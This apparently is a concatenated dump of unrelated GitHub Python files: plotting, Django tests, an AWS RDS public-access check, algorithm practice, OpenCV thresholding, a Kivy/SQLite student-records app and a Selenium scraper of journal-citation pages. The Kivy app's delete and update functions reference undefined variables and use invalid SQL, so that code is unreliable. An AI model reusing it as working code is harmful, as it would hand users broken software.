plot_emoji(emoji_path, ax, x, y, zoom=0.35):\n \"\"\"\n Plots an emoji on a figure.\n Based on:\n https://www.geeksforgeeks.org/emojis-as-markers-in-matplotlib/ \n \"\"\"\n # reading the image\n image = plt.imread(emoji_path)\n # OffsetBox\n image_box = OffsetImage(image, zoom=zoom)\n # Drawing the image\n ab = AnnotationBbox(image_box, (x, y), frameon=False)\n ax.add_artist(ab)\n return\n\n\ndef fig_from_list(trajectory_list, pig_position=[]):\n \"\"\"\n Plots the trajectory of a projectile, given computed trajectories.\n It optionally plots the pig position.\n \"\"\"\n fig = plt.figure(figsize=(16,12))\n ax = plt.subplot(111)\n legend = []\n xmax_list = []\n # Linestyles\n linestyles = ['-', '--', '-.', ':']\n # Iterate and plot\n for i, trajectory in enumerate(trajectory_list):\n plt.plot(trajectory[\"x\"], trajectory[\"y\"], \n color = trajectory[\"color\"], \n linestyle=linestyles[i%len(linestyles)])\n legend.append(trajectory[\"legend\"])\n xmax_list.append(np.max(trajectory[\"x\"]))\n plt.xlabel('x - horizonal distance in meters', fontsize=20)\n plt.ylabel('y - vertical distance in meters', fontsize=20)\n\n # Adding the pig and birds, if needed\n if len(pig_position) > 0: \n plot_emoji(\"images/pig.png\", ax, pig_position[0], pig_position[1])\n xmax_list.append(pig_position[0])\n for trajectory in trajectory_list:\n plot_emoji(\"images/bird.png\", ax, trajectory[\"x\"][-1], trajectory[\"y\"][-1])\n # legend, only if any trajectory\n plt.legend(legend, fontsize=20, loc='upper center')\n\n # xmax_list and ymax calculations\n if len(xmax_list) > 0:\n xmax = max(xmax_list)\n plt.xlim(-xmax*0.05, xmax*1.05)\n plt.ylim(-xmax*0.05, xmax*1.05) # Same limits for x and y\n\n return fig\n\ndef check_solution(pig_position, trajectory_list):\n \"\"\"\n Checks if the pig is in the trajectory of the projectile.\n \"\"\"\n x_tol, y_tol = 1.0, 1.0\n # Iterate and check\n for trajectory in trajectory_list:\n x = trajectory[\"x\"][-1]\n y = trajectory[\"y\"][-1]\n if abs(pig_position[0] - x) < x_tol and abs(pig_position[1] - y) < y_tol:\n return True\n return False","repo_name":"dataprofessor/bioinformatics_talk","sub_path":"code/trajectory.py","file_name":"trajectory.py","file_ext":"py","file_size_in_byte":4047,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"27"} +{"seq_id":"15627359245","text":"from rest_framework.test import APITestCase\nfrom rest_framework import status\nfrom anuncio.models import Anuncio\nfrom reserva.models import Reserva\n\nclass AnuncioTestCase(APITestCase):\n def setUp(self):\n anuncios = Anuncio.objects.all()\n Reserva.objects.bulk_create(\n [\n Reserva(\n anuncio=anuncios[0],\n check_in='2023-08-20',\n check_out='2023-09-01',\n preco=700.00,\n comentario='Lorem ipsum dolor sit amet',\n ),\n Reserva(\n anuncio=anuncios[1],\n check_in='2023-08-15',\n check_out='2023-09-23',\n preco=145.50,\n comentario='Quisque nec turpis neque. Ut porta magna nec mauris vehicula, mattis luctus libero sollicitudin',\n ),\n Reserva(\n anuncio=anuncios[2],\n check_in='2023-05-20',\n check_out='2023-05-22',\n preco=300.00,\n comentario='',\n )\n ]\n )\n\n def test_reserva_criado_corretamente(self):\n \"\"\"Verifica se o setUp criou as reservas\"\"\"\n response = self.client.get(\n '/api/v1/reserva/'\n )\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n reserva_pk = Reserva.objects.first().pk\n response = self.client.get(\n f'/api/v1/reserva/{reserva_pk}/'\n )\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n \n def test_criar_reserva_com_data_check_in_errada(self):\n \"\"\"Verifica se é possível criar uma data check_in posterior a data de check-out\"\"\"\n response = self.client.post(\n '/api/v1/reserva/', \n {\n 'anuncio': 1,\n 'check_in': '2023-01-02',\n 'check_out': '2023-01-01',\n 'preco': 100.00,\n 'comentario': '', \n }\n )\n\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n \n def test_criar_reserva_novo(self):\n \"\"\"Verifica a possibilidade de criar novas reservas\"\"\"\n response = self.client.post(\n '/api/v1/reserva/',\n {\n 'anuncio': 1,\n 'check_in': '2023-01-02',\n 'check_out': '2023-01-03',\n 'preco': 100.00,\n 'comentario': '', \n }\n )\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n \n def test_atualizacao_reserva(self):\n \"\"\"Verifica se é possível atualizar uma reserva (Não deve ser possível)\"\"\"\n response = self.client.patch(\n f'/api/v1/reserva/{Reserva.objects.first().pk}/',\n {\n 'comentario': 'Teste'\n }\n )\n self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)\n \n def test_deletar_reserva(self):\n \"\"\"Verifica se é possível deletar uma reserva\"\"\"\n response = self.client.delete(f'/api/v1/reserva/{Reserva.objects.first().pk}/')\n self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)","repo_name":"victorhostert/seazone_code_challenge","sub_path":"reserva/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3275,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"25113342971","text":"from oil.plugins import Plugin\n\n\nclass PublicDBInstancesPlugin(Plugin):\n\n name = 'public_db_instances'\n provider = 'aws'\n service = 'rds'\n\n requirements = {\n 'db_instances': ['aws', 'rds', 'describe_db_instances']\n }\n\n default_config = {\n 'public_db_instance_severity': {\n 'name': 'Public DB Instance Severity',\n 'description': 'Adjust severity level for public DB instances',\n 'value_description': '0 1 2',\n 'default': 2,\n },\n 'non_public_db_instance_severity': {\n 'name': 'Non-Public DB Instance Severity',\n 'description': 'Adjust severity level for non-public DB instances',\n 'value_description': '0 1 2',\n 'default': 0,\n },\n 'no_db_instances_severity': {\n 'name': 'No DB Instance Severity',\n 'description': 'Adjust severity level for no DB instances',\n 'value_description': '0 1 2',\n 'default': 0,\n },\n 'public_db_instance_message': {\n 'name': 'Public DB Instance Message',\n 'description': 'Adjust message for public DB instances',\n 'value_description': '{db_id}',\n 'default': 'The DB instance {db_id} is publicly accessible',\n },\n 'non_public_db_instance_message': {\n 'name': 'Non-Public DB Instance Message',\n 'description': 'Adjust message level for non-public DB instances',\n 'value_description': '{db_id}',\n 'default': 'The DB instance {db_id} is not publicly accessible',\n },\n 'no_db_instances_message': {\n 'name': 'No DB Instance Message',\n 'description': 'Adjust message level for no DB instances',\n 'value_description': 'string',\n 'default': 'No DB instances found',\n },\n }\n\n def run(self, api_data):\n # Reset the results list for this plugin\n self.results = []\n\n requirements = self.collect_requirements(api_data)\n db_instances_by_region = requirements['db_instances']\n for region, db_instances in db_instances_by_region.items():\n if not db_instances:\n self.results.append({\n 'resource': 'None',\n 'region': region,\n 'severity': self.config['no_db_instances_severity'],\n 'message': self.config['no_db_instances_message'],\n })\n\n for db_instance in db_instances:\n db_instance_identifier = db_instance['DBInstanceIdentifier']\n\n publicly_accessible = db_instance['PubliclyAccessible']\n if publicly_accessible:\n severity = self.config['public_db_instance_severity']\n message = self.config['public_db_instance_message'].format(\n db_id=db_instance_identifier,\n )\n\n else:\n severity = self.config['non_public_db_instance_severity']\n message = self.config['non_public_db_instance_message'].format(\n db_id=db_instance_identifier,\n )\n\n self.results.append({\n 'resource': db_instance_identifier,\n 'region': region,\n 'severity': severity,\n 'message': message,\n })\n\n return self.results\n","repo_name":"coolfriends/oil","sub_path":"oil/plugins/aws/rds/public_db_instances/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3460,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"} +{"seq_id":"8726422483","text":"class Solution:\n def search(self, nums: List[int], target: int) -> int:\n \n start = 0\n end = len(nums)-1\n \n #out of range\n if target < nums[start] and target > nums[end]:\n return -1\n \n while start <= end:\n mid = (start + end) // 2\n #return index if found target\n if target == nums[mid]:\n return mid\n \n #if target is smaller than mid\n if target < nums[mid]:\n #this means we are in rotation (start < mid > end)\n #if target <= nums[end] means target in right half, so change start (start < mid > target <= end, end < start)\n #if target > nums[end] means target is in left half, we change end (start < target < mid > end, end < start)\n if nums[mid] > nums[end]:\n if target <= nums[end]:\n start = mid+1\n else:\n end = mid-1\n #not in rotation, element in ascending, normal binary search\n else:\n end = mid-1\n else:\n #in rotation (start < mid > end) \n #if target >= nums[start], target in left half (start <= target > mid > end, end < start)\n #if target < nums[start], target in right half (start < mid > target > end, end < start)\n if nums[mid] < nums[start]:\n if target >= nums[start]:\n end = end-1\n else:\n start = start+1\n #not in rotation, normal binary search\n else:\n start = mid+1\n #start and end overlap, cannot find target\n return -1\n","repo_name":"b-knd/competitive-programming","sub_path":"practice/leetcode/33_SearchInRotatedSortedArray.py","file_name":"33_SearchInRotatedSortedArray.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"41284428709","text":"from datetime import datetime\nimport sys\nimport copy\n\n\nclass ChatLog:\n \n one_day=3600*24\n latest_day=None\n raw_txt=None\n\n def __init__(self,path) -> None: #chat파일을 불러옴\n self.raw_txt=open(path,'r',encoding=\"UTF-8\").readlines()\n self.latest_day=self.get_latest_day(self.raw_txt)\n\n\n def get_latest_day(self,txt) -> datetime:\n for i in range(len(txt)-1,-1,-1):\n line=txt[i].rstrip().split(\" \")\n if line[0]=='---------------' and line[-1] == '---------------': # 마지막 날의 날짜 확인\n some_time=self.make_datetime(line[1:4])\n return some_time\n\n def make_datetime(self,List_lst) -> datetime:\n temp=\"\"\n for i in List_lst:\n i=i[:-1]\n if len(i)==1:\n i='0'+i \n temp+=i\n res=datetime.strptime(temp,'%Y%m%d').date()\n return res\n\n\n def analysis(self,String_user,String_date) -> list: #date : all / year / month/ week / day\n Dict_date={\"all\":sys.maxsize,\"year\":365,\"month\":30,\"week\":7,\"day\":1}\n Dict_word={}\n Dict_result={}\n Dict_result2={}\n is_analyze=False\n\n if String_date not in Dict_date.keys():\n print(\"wrong type!\")\n return\n else:\n for lines in self.raw_txt:\n line=lines.rstrip().rsplit(\" \") #한줄의 단어가 들어있는 리스트\n if line[0]=='---------------' and line[-1] == '---------------' and is_analyze == False: # 분석이 시작되지 않고, 상단부일때 날짜 확인\n some_time=self.make_datetime(line[1:4])\n\n if ((self.latest_day-some_time).total_seconds()//self.one_day) <= Dict_date[String_date]: # 날짜부가 지정한 키워드 이내일 경우 분석시작\n is_analyze=True\n elif is_analyze:\n if line[0] not in Dict_result:\n Dict_result[line[0]]=copy.deepcopy(Dict_word) #line[0] mean user name\n for word in line[3:]: #본문 내용은 line[3]부터\n if word not in Dict_result[line[0]]:\n Dict_result[line[0]][word]=1\n else:\n Dict_result[line[0]][word]+=1\n \n is_analyze=False\n\n String_user='['+String_user+']'\n\n best_words=sorted(Dict_result[String_user].items(),key=lambda x:-x[1])[:5] #최다 사용 단어 Top5\n\n Dict_str={}\n for w,_ in best_words:\n Dict_str[w]=0\n \"\"\"\n 위에서 찾은 단어가 포함된 문자열\n \"\"\"\n\n for lines in self.raw_txt:\n line=lines.rstrip().rsplit(\" \") #한줄의 단어가 들어있는 리스트\n if line[0]=='---------------' and line[-1] == '---------------' and is_analyze == False: # 분석이 시작되지 않고, 상단부일때 날짜 확인\n some_time=self.make_datetime(line[1:4])\n\n if ((self.latest_day-some_time).total_seconds()//self.one_day) <= Dict_date[String_date]: # 날짜부가 지정한 키워드 이내일 경우 분석시작\n is_analyze=True\n elif is_analyze:\n if line[0] not in Dict_result2: \n Dict_result2[line[0]]=copy.deepcopy(Dict_str)\n for word in line[3:]:\n for w, _ in best_words:\n if word.find(w)!= -1: # 단어가 포함된 문자열 발견 시 \n Dict_result2[line[0]][w]+=1 \n \n \n best_str=(Dict_result2[String_user])\n Dict_date_keyword={\"all\":\"\",\"year\":\" 일년 간\",\"month\":\" 한달 간\",\"week\":\" 일주일 간\",\"day\":\" 하루 간\"}\n print(f\"{String_user}님의{Dict_date_keyword[String_date]} 최다 사용 단어는\\n{best_words}입니다.\")\n\n print(f\"{String_user}님의{Dict_date_keyword[String_date]} 최다 사용 단어가 포함된 횟수는\\n{best_str}입니다.\")\n\n return [best_words,best_str]\n","repo_name":"LeeTaeHoon97/show_chat_log_frequency","sub_path":"chat_analysis.py","file_name":"chat_analysis.py","file_ext":"py","file_size_in_byte":4434,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"641156734","text":"from django.conf.urls import patterns, include, url\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'openlc.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n url(r'^admin/', include(admin.site.urls)),\n url(r'^$', include('projects.urls', namespace=\"index\")),\n url(r'^blockly/', include('blockly.urls', namespace=\"blockly\")),\n url(r'^projects/', include('projects.urls', namespace=\"projects\"))\n)\n\nif settings.DEBUG:\n urlpatterns += patterns('',\n url(r'^media/(?P.*)$', 'django.views.static.serve', {\n 'document_root': settings.MEDIA_ROOT,\n }),\n url(r'^static/(?P.*)$', 'django.views.static.serve', {\n 'document_root': settings.STATIC_ROOT,\n }),\n)\n\n","repo_name":"Gorgel/khd_projects","sub_path":"khd_projects/khd_projects/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"38423336636","text":"#将打不开的evil4.jpg 改名为 .txt 后缀\n#能够读出 Bert is evil! go back! 然,分析不出啥\n\n#def make_it_readable(data):\n# result = ''\n# for byte in data:\n# if ord(' ') <= byte <= ord('~'):\n# result += chr(byte)\n# else:\n# result += '_'\n# return result\n#\n#evil_1 = open('evil2.gfx','rb').read(80)\n#maybe_readable = make_it_readable(evil_1)\n#print(maybe_readable)\n#evil_1.close()\n##到这里可以看出 evil2.gfx 中包含着5副图案\n\nevil_2_gfx = open('evil2.gfx','rb').read()\n\nfor file_name,data in zip(['0.jpg','1.png','2.gif','3.png','4.jpg'],[evil_2_gfx[0::5],evil_2_gfx[1::5],evil_2_gfx[2::5],evil_2_gfx[3::5],evil_2_gfx[4::5]]):\n file_tmp = open(file_name,'wb')\n file_tmp.write(data)\n file_tmp.close()\n\n#图片组成的单词是 disproportional\n#So new_url = http://www.pythonchallenge.com/pc/return/disproportional.html","repo_name":"zhiquan304/python_challenge","sub_path":"python_challenge_12/python_12.py","file_name":"python_12.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"73782835272","text":"# Display all Colorspaces for an input image\n# Run: python Noise.py \n\nimport cv2\nimport numpy as np\nimport sys\nfrom matplotlib import pyplot as plt\n\ndef main():\n #Check if image source is provided\n if (len(sys.argv) < 2):\n print (\"Please provide an input image!!\")\n return\n cv2.namedWindow('Image', cv2.WINDOW_NORMAL) #open window\n img = cv2.imread(sys.argv[1]) # read image \n \n '''Original Image'''\n cv2.imshow('Original Image', img)\n cv2.waitKey(0)\n \n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n threshold_type = 2\n threshold_value = 128\n _,dst = cv2.threshold(gray, threshold_value, 255, cv2.THRESH_TRUNC)\n cv2.imshow(\"Thresholded Image\",dst)\n cv2.imwrite('./Run_Images/th.png', dst)\n cv2.waitKey(0)\n\n current_threshold = 128\n max_threshold = 255\n _,threshold = cv2.threshold(gray, current_threshold, max_threshold, cv2.THRESH_BINARY)\n cv2.imshow(\"Binary threshold\",threshold)\n cv2.imwrite('./Run_Images/bin_th.png', threshold)\n cv2.waitKey(0)\n\n threshold1 = 27\n threshold2 = 125\n _, binary_image1 = cv2.threshold(gray, threshold1, max_threshold, cv2.THRESH_BINARY)\n _, binary_image2 = cv2.threshold(gray, threshold2, max_threshold, cv2.THRESH_BINARY_INV)\n band_thresholded_image = np.bitwise_and(binary_image1, binary_image2)\n cv2.imshow(\"Band Thresholding\", band_thresholded_image)\n cv2.imwrite('./Run_Images/band_th.png', band_thresholded_image)\n cv2.waitKey(0)\n\n _,semi_thresholded_image = cv2.threshold(gray, current_threshold, max_threshold, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)\n semi_thresholded_image = np.bitwise_and( gray, semi_thresholded_image)\n cv2.imshow(\"Semi Thresholding\",semi_thresholded_image )\n cv2.imwrite('./Run_Images/semi_th.png',semi_thresholded_image)\n cv2.waitKey(0)\n\n adaptive_thresh = cv2.adaptiveThreshold(gray, 255.0, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 101, 10 )\n cv2.imshow(\"Adaptive Thresholding\",adaptive_thresh)\n cv2.imwrite('./Run_Images/adap_th.png', adaptive_thresh)\n cv2.waitKey(0)\n \n cv2.destroyAllWindows()\n\n\nif __name__ == \"__main__\":\n main() ","repo_name":"grumpySloth357/601openCV","sub_path":"Threshold.py","file_name":"Threshold.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"39602091846","text":"from kivy.app import App\nfrom kivy.uix.label import Label\nfrom kivy.uix.gridlayout import GridLayout\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.button import Button\nimport sqlite3\n\n# Acima ocorre a importação das ferramentas do toolkit Kivy e banco Sqlite3\n\nclass MyGridLayout(GridLayout):\n def __init__(self, **kwargs):\n # Construtor grid layout\n super(MyGridLayout, self).__init__(**kwargs)\n # Colunas\n self.cols = 2\n # Linhas\n self.rows = 8\n\n # Widgets de label e input\n self.add_widget(Label(text=\"Cadastro de Alunos\", font_size=25))\n self.add_widget(Label(text=\"\"))\n\n self.add_widget(Label(text=\"Nome do Aluno: \"))\n self.aluno = TextInput()\n self.add_widget(self.aluno)\n\n self.add_widget(Label(text=\"Professor: \"))\n self.professor = TextInput()\n self.add_widget(self.professor)\n\n self.add_widget(Label(text=\"Educação Especial: \"))\n self.educacao = TextInput()\n self.add_widget(self.educacao)\n\n self.add_widget(Label(text=\"Nota bimestral: \"))\n self.nota = TextInput()\n self.add_widget(self.nota)\n\n self.add_widget(Label(text=\"Anotações: \"))\n self.anotacoes = TextInput()\n self.add_widget(self.anotacoes)\n\n # Botões\n self.incluir = Button(text=\"Incluir\")\n # Definindo a função que será chamada ao apertar o botão\n self.incluir.bind(on_press=self.incluir_dados)\n self.add_widget(self.incluir)\n\n self.deletar = Button(text=\"Deletar\")\n # Definindo a função que será chamada ao apertar o botão\n self.deletar.bind(on_press=self.deletar_dados)\n self.add_widget(self.deletar)\n\n self.alterar = Button(text=\"Alterar\")\n # Definindo a função que será chamada ao apertar o botão\n self.alterar.bind(on_press=self.alterar_dados)\n self.add_widget(self.alterar)\n\n # Definindo as funções\n def incluir_dados(self, instance):\n # Obtendo os valores dos inputs\n aluno = self.aluno.text\n professor = self.professor.text\n educacao = self.educacao.text\n nota = self.nota.text\n anotacoes = self.anotacoes.text\n\n # Banco de dados\n conexao = sqlite3.connect(\"meu_banco.db\")\n # Cursor para interagir com o banco\n cursor = conexao.cursor()\n # Criando a tabela\n cursor.execute(\"CREATE TABLE minha_tabela (aluno TEXT, professor TEXT, educacao REAL, nota TEXT, anotacoes TEXT)\")\n\n # Inserindo dados\n cursor.execute(\"INSERT INTO minha_tabela (aluno, professor, educacao, nota, anotacoes) VALUES (?, ?, ?, ?, ?)\",\n (aluno, professor, educacao, nota, anotacoes))\n # Salvando\n conexao.commit()\n # Fechando a conexão\n cursor.close()\n conexao.close()\n\n # limpando os inputs\n self.aluno.text = \"\"\n self.professor.text = \"\"\n self.educacao.text = \"\"\n self.nota.text = \"\"\n self.anotacoes.text = \"\"\n\n def deletar_dados(self, instance):\n # Obtendo os valores dos inputs\n aluno = self.aluno.text\n professor = self.professor.text\n educacao = self.educacao.text\n nota = self.nota.text\n anotacoes = self.anotacoes.text\n\n # Deletando dados\n cursor.execute(\"DELETE FROM minha_tabela (aluno, professor, educacao, nota, anotacoes) WHERE (?, ?, ?, ?, ?)\",\n (aluno, professor, educacao, nota, anotacoes))\n # Salvando\n conexao.commit()\n # Fechando a conexão\n cursor.close()\n conexao.close()\n\n # limpando os inputs\n self.aluno.text = \"\"\n self.professor.text = \"\"\n self.educacao.text = \"\"\n self.nota.text = \"\"\n self.anotacoes.text = \"\"\n def alterar_dados(self, instance):\n # Obtendo os valores dos inputs\n aluno = self.aluno.text\n professor = self.professor.text\n educacao = self.educacao.text\n nota = self.nota.text\n anotacoes = self.anotacoes.text\n\n # Alterando dados\n cursor.execute(\"UPDATE minha_tabela SET (aluno, professor, educacao, nota, anotacoes) WHERE (?, ?, ?, ?, ?)\",\n (aluno, professor, educacao, nota, anotacoes))\n # Salvando\n conexao.commit()\n # Fechando a conexão\n cursor.close()\n conexao.close()\n\n # limpando os inputs\n self.aluno.text = \"\"\n self.professor.text = \"\"\n self.educacao.text = \"\"\n self.nota.text = \"\"\n self.anotacoes.text = \"\"\n\n# Classe de exibição de tela\nclass MyApp(App):\n def build(self):\n self.title = \"Syschool\"\n #label = Label(text=\"Cadastro de Alunos\")\n #return label\n return MyGridLayout()\n\nif __name__ == '__main__':\n MyApp().run()\n","repo_name":"UNIVEM-BCC-BSI/Syschool","sub_path":"banco de dados kivy.py","file_name":"banco de dados kivy.py","file_ext":"py","file_size_in_byte":4871,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"70309459271","text":"'''\nCreater: @Saad Mahboob\nDate: 03/27/2021\n'''\n\nfrom HDDLParser import HTNParsingLibrary\nfrom HDDLParser import HTNMethod\nfrom HDDLParser import HTNParameter\nfrom HDDLParser import HTNOperator\n\n\n#this library hold the markers to identify the start of specifc methods, operators, tasks,and parameters used in parsing\nMETHOD_START = \"(:method\"\nPARAMETERS_START = \":parameters\"\nTASK_START = \":task\"\nPRECONDITIONS_START = \":precondition\"\nSUBTASKS_START = \":ordered-subtasks\"\nOPERATORS_START = \":action\"\nOPERATORS_EFFECT_START = \":effect\"\n\nOPENING_PARENTHESIS = \"(\"\nCLOSING_PARENTHESIS = \")\"\n\nPARAMETER_VALUE_START = '?'\nPARAMETER_VALUE_END = '-'\nPARAMETER_TYPE_START = '-'\nPARAMETER_TYPE_END1 = '?'\nPARAMETER_TYPE_END2 = ')'","repo_name":"disnhi/Socially-Assistive-Robot-Research","sub_path":"mistyPlanner/HDDLParser/HTNParsingLibrary.py","file_name":"HTNParsingLibrary.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"37701152232","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 7 18:53:06 2018\n\n@author: Bokkin Wang\n\"\"\"\nimport sys\nimport bs4\nimport re\nimport os\nfrom selenium import webdriver #selenium实现自动化\nfrom selenium.webdriver.common.action_chains import ActionChains\nimport pandas as pd\nimport time\nsys.path.append(\"D:/bigdatahw/论文合作网络论文/code\")\nos.chdir(\"D:/bigdatahw/论文合作网络论文\")\ndata_path = 'D:/bigdatahw/论文合作网络论文/data/crawl data/' \nre_sum = re.compile(r\"\\((\\d+?)\\)\")\n\ndef mkdir(path):\n\tfolder = os.path.exists(path) \n\tif not folder: #判断是否存在文件夹如果不存在则创建为文件夹\n\t\tos.makedirs(path) #makedirs 创建文件时如果路径不存在会创建这个路径\n\t\tprint (\"--- new folder... ---\")\n\t\tprint (\"--- OK ---\") \n\telse:\n\t\tprint (\"--- There is this folder! ---\")\n \ndef litte_parser(driver):\n html=driver.page_source\n soup=bs4.BeautifulSoup(html,'html.parser',from_encoding=\"gb18030\")\n return soup\n\ndef random_roll(driver):\n ActionChains(driver).move_by_offset(100, 500).move_by_offset(500, 100).move_by_offset(200, 200).perform()\n ActionChains(driver).move_by_offset(100, 500).move_by_offset(500, 100).move_by_offset(200, 200).release()\n \n\ndef get_jurnal(driver,year): \n magzine = []\n for i in range(10):\n js='document.getElementsByClassName(\"x-grid-view x-fit-item x-grid-view-default x-unselectable\")[0].scrollTop=%d' %(i*600)\n driver.execute_script(js)\n time.sleep(2) #休眠2秒\n jurnallist = litte_parser(driver).findAll('tr', {\"data-boundview\": \"gridview-1027\"})\n for j in list(range(len(jurnallist))):\n name = jurnallist[j].find('a',{\"href\":'#'}).get_text()\n if name not in magzine:\n magzine.append(name)\n try:\n item_Elem=driver.find_element_by_xpath('//*[@data-recordindex=\"%d\"]/td[3]/div/div'%(len(magzine)-1)) #找到id为kw的元素\n item_Elem.click()\n except:\n item_Elem=driver.find_element_by_xpath('//*[@data-recordindex=\"%d\"]/td[3]/div/div'%(len(magzine)-1)) #找到id为kw的元素\n item_Elem.click()\n time.sleep(20) \n windows = driver.current_window_handle #定位当前页面句柄\n all_handles = driver.window_handles #获取全部页面句柄\n while len(all_handles) != 3:\n time.sleep(5)\n windows = driver.current_window_handle #定位当前页面句柄\n all_handles = driver.window_handles #获取全部页面句柄\n for handle in all_handles: #遍历全部页面句柄\n if handle != windows: #判断条件\n driver.switch_to.window(handle) #切换到新页面\n try:\n artlist_Elem=driver.find_element_by_xpath('//*[@id=\"view\"]/jif-webapp/main/home/div/div/dashboard/div[2]/div/div[3]/div/jif-calculation/div/div/div/div/div[2]/div[1]/div/div[1]/button') #找到id为kw的元素\n artlist_Elem.click()\n time.sleep(2)\n soup = litte_parser(driver)\n artlist = [] \n len_list = re_sum.findall(soup.find('a',{\"class\":'nav-link active'}).get_text().replace('\\n','').strip())[0] \n except:\n try: \n time.sleep(25)\n artlist_Elem=driver.find_element_by_xpath('//*[@id=\"view\"]/jif-webapp/main/home/div/div/dashboard/div[2]/div/div[3]/div/jif-calculation/div/div/div/div/div[2]/div[1]/div/div[1]/button') #找到id为kw的元素\n artlist_Elem.click()\n time.sleep(2)\n soup = litte_parser(driver)\n artlist = [] \n len_list = re_sum.findall(soup.find('a',{\"class\":'nav-link active'}).get_text().replace('\\n','').strip())[0] \n except:\n return magzine\n artlist.extend(list(map(lambda x : x.find('a')['href'],litte_parser(driver).findAll('div',{\"class\":\"citable-item-row\"}))))\n while len(list(set(artlist))) < int(len_list):\n try:\n dragger = driver.find_element_by_class_name(\"wui-card\") # 被拖拽元素\n item1 = driver.find_element_by_xpath('//*[@id=\"view\"]/ngb-modal-window/div/div/jif-calculation-citables-modal/div/div[2]/div[%d]'%(2+len(list(set(artlist))))) # 目标元素1\n time.sleep(0.5)\n random_roll(driver)\n ActionChains(driver).drag_and_drop(dragger, item1).release().perform() \n artlist.extend(list(map(lambda x : x.find('a')['href'],litte_parser(driver).findAll('div',{\"class\":\"citable-item-row\"}))))\n random_roll(driver)\n time.sleep(0.5)\n except:\n return magzine\n time.sleep(0.5)\n driver.close()\n driver.switch_to_window(all_handles[0]) \n csv_name = data_path + str(year)+'/'+soup.find('div',{\"class\":'h3'}).get_text()+'.csv'\n pd.DataFrame({'url':list(set(artlist))}).to_csv(csv_name) \n print(len(magzine)-1)\n #jur_list= list(map(lambda x: x.find('a',{\"href\":'#'}).get_text() ,jurnallist))\n #magzine.extend(jur_list)\n js='document.getElementsByClassName(\"x-grid-view x-fit-item x-grid-view-default x-unselectable\")[0].scrollTop=0' \n driver.execute_script(js)\n return magzine\n\njurnal_list_url='http://jcr.incites.thomsonreuters.com/JCRJournalHomeAction.action?pg=JRNLHOME&categoryName=STATISTICS%20%26%20PROBABILITY&year=2017&edition=SCIE&categories=XY#'\ndriver =webdriver.Chrome('C:/Program Files (x86)/Google/chrome/Application/chromedriver.exe') #打开浏览器\ndriver.get(jurnal_list_url) #输入网址\ndriver.implicitly_wait(5)\ncategory_Elem=driver.find_element_by_xpath('//*[@id=\"ext-gen1018\"]/div[1]/div[2]/div[4]/div[4]/a[2]/button') #找到id为kw的元素\ncategory_Elem.click() #模拟点击功能\ndown_Elem=driver.find_element_by_xpath('//*[@id=\"skip-to-content\"]/div/div[1]/div[1]/div/div[4]/i') #找到id为kw的元素\ndown_Elem.click() \nstat_Elem=driver.find_element_by_xpath('//*[@id=\"id\"]/label/input[@type=\"checkbox\" and @value=\"XY\"]') #找到id为kw的元素\nstat_Elem.click() \nroll_Elem=driver.find_element_by_xpath('//*[@id=\"ext-gen1081\"]') #找到id为kw的元素\nroll_Elem.click() \ntime.sleep(10)\nyear_Elem=driver.find_element_by_xpath('//div[@id=\"boundlist-1143-listEl\"]/ul[@class=\"x-list-plain\"]/li[1]') #找到id为kw的元素\nyear = litte_parser(driver).findAll('li', {\"role\": \"option\"})[0].get_text()\nmkdir_name = data_path + str(year)\nmkdir(mkdir_name)\nyear_Elem.click() \nsubmit_Elem=driver.find_element_by_xpath('//*[@id=\"skip-to-content\"]/div/div[1]/div[1]/div/div[6]/div[3]/a[2]') #找到id为kw的元素\nsubmit_Elem.click()\ntime.sleep(10)\ntry:\n jurnal_Elem=driver.find_element_by_xpath('//*[@id=\"gridview-1022-record-ext-record-515\"]/td[4]/div/a') #找到id为kw的元素\n jurnal_Elem.click()\nexcept:\n jurnal_Elem=driver.find_element_by_xpath('//*[@id=\"gridview-1022-record-ext-record-508\"]/td[4]/div/a') #找到id为kw的元素\n jurnal_Elem.click()\ntime.sleep(2)\n\njurnal = get_jurnal(driver,year)\n\n\nitem_Elem=driver.find_element_by_xpath('//*[@data-recordindex=\"%d\"]/td[3]/div/div'%(0)) #找到id为kw的元素\nitem_Elem.click()\ntime.sleep(10)\nwindows = driver.current_window_handle #定位当前页面句柄\nall_handles = driver.window_handles #获取全部页面句柄\nfor handle in all_handles: #遍历全部页面句柄\n if handle != windows: #判断条件\n driver.switch_to.window(handle) 